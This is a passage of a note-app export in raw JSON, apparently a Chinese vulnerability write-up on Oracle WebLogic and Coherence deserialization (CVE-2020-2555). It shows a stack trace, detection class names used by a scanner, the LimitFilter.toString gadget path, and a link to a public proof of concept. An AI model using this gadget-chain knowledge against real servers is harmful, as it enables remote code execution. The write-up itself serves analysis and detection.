(sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292